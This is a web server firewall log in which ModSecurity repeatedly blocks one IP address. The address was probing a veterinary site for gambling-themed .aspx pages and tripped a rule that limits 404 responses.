[Wed May 13 11:12:24.931841 2026] [:error] [pid 23787:tid 23866] [client 51.83.237.175:47448] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agPsGB1cs5wE7VT6wirVmgAAAJI"]
[Wed May 13 11:12:25.004329 2026] [:error] [pid 3259:tid 3273] [client 51.83.237.175:47456] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "agPsGeWJB4YwcPVLeArNmQAAAQw"]
[Wed May 13 11:12:26.290835 2026] [:error] [pid 3259:tid 3276] [client 51.83.237.175:47468] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agPsGuWJB4YwcPVLeArNnwAAAQ8"]
[Wed May 13 11:12:27.455741 2026] [:error] [pid 3259:tid 3272] [client 51.83.237.175:47204] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agPsG-WJB4YwcPVLeArNpQAAAQs"]
[Wed May 13 11:12:27.969063 2026] [:error] [pid 23887:tid 23901] [client 51.83.237.175:47206] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agPsG9SKmvZJZkXBFDBSlAAAAMY"]
[Wed May 13 11:12:29.584904 2026] [:error] [pid 23782:tid 23838] [client 51.83.237.175:47222] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agPsHSBrKFYHXUGnR-qkJQAAAFE"]
[Wed May 13 11:12:30.288360 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:47236] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agPsHtSKmvZJZkXBFDBSmAAAAMA"]
[Wed May 13 11:12:31.755396 2026] [:error] [pid 23887:tid 23917] [client 51.83.237.175:47250] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agPsH9SKmvZJZkXBFDBSmQAAANY"]
[Wed May 13 11:12:32.409582 2026] [:error] [pid 3259:tid 3262] [client 51.83.237.175:47264] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agPsIOWJB4YwcPVLeArNtAAAAQE"]
[Wed May 13 11:12:33.149085 2026] [:error] [pid 3259:tid 3274] [client 51.83.237.175:47266] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agPsIeWJB4YwcPVLeArNtwAAAQ0"]
[Wed May 13 11:12:34.545927 2026] [:error] [pid 23787:tid 23862] [client 51.83.237.175:47282] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "agPsIh1cs5wE7VT6wirVnQAAAI4"]
[Wed May 13 11:12:35.394318 2026] [:error] [pid 23787:tid 23868] [client 51.83.237.175:47286] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agPsIx1cs5wE7VT6wirVnwAAAJQ"]
[Wed May 13 11:12:35.941651 2026] [:error] [pid 23887:tid 23902] [client 51.83.237.175:47300] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agPsI9SKmvZJZkXBFDBSnAAAAMc"]
[Wed May 13 11:12:36.889662 2026] [:error] [pid 23780:tid 23814] [client 51.83.237.175:47308] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agPsJHXgOibPjrXgeTBiNAAAABQ"]
[Wed May 13 11:12:38.769506 2026] [:error] [pid 23887:tid 23898] [client 51.83.237.175:51668] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "agPsJtSKmvZJZkXBFDBSnwAAAMM"]
[Wed May 13 11:12:39.391232 2026] [:error] [pid 23887:tid 23901] [client 51.83.237.175:51682] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agPsJ9SKmvZJZkXBFDBSoAAAAMY"]
[Wed May 13 11:12:39.809496 2026] [:error] [pid 23782:tid 23835] [client 51.83.237.175:51690] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agPsJyBrKFYHXUGnR-qkKQAAAE4"]
[Wed May 13 11:12:41.567912 2026] [:error] [pid 23887:tid 23910] [client 51.83.237.175:51694] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "agPsKdSKmvZJZkXBFDBSogAAAM8"]
[Wed May 13 11:12:42.407780 2026] [:error] [pid 23887:tid 23919] [client 51.83.237.175:51702] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agPsKtSKmvZJZkXBFDBSowAAANg"]
[Wed May 13 11:12:42.727669 2026] [:error] [pid 23787:tid 23852] [client 51.83.237.175:51716] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agPsKh1cs5wE7VT6wirVpAAAAIQ"]
[Wed May 13 11:12:57.180086 2026] [:error] [pid 23887:tid 23904] [client 51.83.237.175:51728] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agPsOdSKmvZJZkXBFDBSuQAAAMk"]
[Wed May 13 11:12:59.656326 2026] [:error] [pid 23780:tid 23810] [client 51.83.237.175:51748] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agPsO3XgOibPjrXgeTBiPgAAABA"]
[Wed May 13 11:12:59.670013 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:33710] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agPsO9SKmvZJZkXBFDBSvAAAAMA"]
[Wed May 13 11:13:00.494283 2026] [:error] [pid 23887:tid 23898] [client 51.83.237.175:51732] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "agPsPNSKmvZJZkXBFDBSvQAAAMM"]
[Wed May 13 11:13:02.367890 2026] [:error] [pid 23887:tid 23901] [client 51.83.237.175:33722] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agPsPtSKmvZJZkXBFDBSwQAAAMY"]
[Wed May 13 11:13:02.512846 2026] [:error] [pid 23780:tid 23797] [client 51.83.237.175:33726] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agPsPnXgOibPjrXgeTBiPwAAAAM"]
[Wed May 13 11:13:03.227647 2026] [:error] [pid 23780:tid 23811] [client 51.83.237.175:33732] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "agPsP3XgOibPjrXgeTBiQAAAABE"]
[Wed May 13 11:13:05.205451 2026] [:error] [pid 23887:tid 23916] [client 51.83.237.175:33748] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agPsQdSKmvZJZkXBFDBSwgAAANU"]
[Wed May 13 11:13:05.466038 2026] [:error] [pid 23887:tid 23919] [client 51.83.237.175:33758] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agPsQdSKmvZJZkXBFDBSwwAAANg"]
[Wed May 13 11:13:05.821899 2026] [:error] [pid 23887:tid 23907] [client 51.83.237.175:33770] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agPsQdSKmvZJZkXBFDBSxAAAAMw"]
[Wed May 13 11:13:08.213507 2026] [:error] [pid 3259:tid 3281] [client 51.83.237.175:58794] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agPsROWJB4YwcPVLeArNygAAARQ"]
[Wed May 13 11:13:08.528588 2026] [:error] [pid 23780:tid 23813] [client 51.83.237.175:58800] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agPsRHXgOibPjrXgeTBiSgAAABM"]
[Wed May 13 11:13:11.216871 2026] [:error] [pid 23787:tid 23855] [client 51.83.237.175:58816] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "agPsRx1cs5wE7VT6wirVzQAAAIc"]
[Wed May 13 11:13:11.369309 2026] [:error] [pid 23787:tid 23868] [client 51.83.237.175:58828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agPsRx1cs5wE7VT6wirVzgAAAJQ"]
[Wed May 13 11:13:14.002779 2026] [:error] [pid 23887:tid 23906] [client 51.83.237.175:58832] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agPsStSKmvZJZkXBFDBSxgAAAMs"]
[Wed May 13 11:13:14.379630 2026] [:error] [pid 23780:tid 23794] [client 51.83.237.175:58836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agPsSnXgOibPjrXgeTBiUgAAAAA"]
[Wed May 13 11:13:16.931321 2026] [:error] [pid 3259:tid 3265] [client 51.83.237.175:58846] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agPsTOWJB4YwcPVLeArNzAAAAQQ"]
[Wed May 13 11:13:17.725097 2026] [:error] [pid 23887:tid 23908] [client 51.83.237.175:50672] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agPsTdSKmvZJZkXBFDBSyQAAAM0"]
[Wed May 13 11:13:20.191309 2026] [:error] [pid 23782:tid 23823] [client 51.83.237.175:50676] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agPsUCBrKFYHXUGnR-qkNgAAAEI"]
[Wed May 13 11:13:22.820123 2026] [:error] [pid 23782:tid 23837] [client 51.83.237.175:50690] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agPsUiBrKFYHXUGnR-qkOgAAAFA"]
[Wed May 13 11:13:25.900090 2026] [:error] [pid 23787:tid 23849] [client 51.83.237.175:50706] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agPsVR1cs5wE7VT6wirV0QAAAIE"]
[Wed May 13 11:13:28.647517 2026] [:error] [pid 3259:tid 3282] [client 51.83.237.175:53934] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agPsWOWJB4YwcPVLeArNzgAAARU"]
[Wed May 13 11:13:31.613189 2026] [:error] [pid 23782:tid 23841] [client 51.83.237.175:53946] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agPsWyBrKFYHXUGnR-qkQQAAAFQ"]
[Wed May 13 11:13:34.076869 2026] [:error] [pid 23787:tid 23872] [client 51.83.237.175:53960] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agPsXh1cs5wE7VT6wirV1AAAAJg"]
[Wed May 13 11:13:36.794799 2026] [:error] [pid 23887:tid 23915] [client 51.83.237.175:53972] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agPsYNSKmvZJZkXBFDBS3AAAANQ"]
[Wed May 13 11:13:39.781341 2026] [:error] [pid 3259:tid 3263] [client 51.83.237.175:47834] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agPsY-WJB4YwcPVLeArN4gAAAQI"]
[Wed May 13 11:13:42.801590 2026] [:error] [pid 23887:tid 23909] [client 51.83.237.175:47838] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agPsZtSKmvZJZkXBFDBS4AAAAM4"]
[Wed May 13 11:13:45.621059 2026] [:error] [pid 23787:tid 23858] [client 51.83.237.175:47844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agPsaR1cs5wE7VT6wirV8gAAAIo"]
[Wed May 13 11:13:48.104376 2026] [:error] [pid 23787:tid 23854] [client 51.83.237.175:59614] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agPsbB1cs5wE7VT6wirV9gAAAIY"]
[Wed May 13 11:13:50.823487 2026] [:error] [pid 23887:tid 23917] [client 51.83.237.175:59618] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agPsbtSKmvZJZkXBFDBTAwAAANY"]
[Wed May 13 11:13:53.813944 2026] [:error] [pid 23782:tid 23833] [client 51.83.237.175:59624] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agPscSBrKFYHXUGnR-qkUgAAAEw"]
[Wed May 13 11:14:40.485443 2026] [:error] [pid 23887:tid 23918] [client 51.83.237.175:59638] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agPsoNSKmvZJZkXBFDBTgAAAANc"]
[Wed May 13 11:14:44.214664 2026] [:error] [pid 23782:tid 23840] [client 51.83.237.175:49734] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agPspCBrKFYHXUGnR-qkdgAAAFM"]
[Wed May 13 11:14:47.149952 2026] [:error] [pid 3259:tid 3262] [client 51.83.237.175:49738] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "agPsp-WJB4YwcPVLeArOJAAAAQE"]
[Wed May 13 11:14:50.266182 2026] [:error] [pid 23782:tid 23841] [client 51.83.237.175:51422] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agPsqiBrKFYHXUGnR-qkdwAAAFQ"]
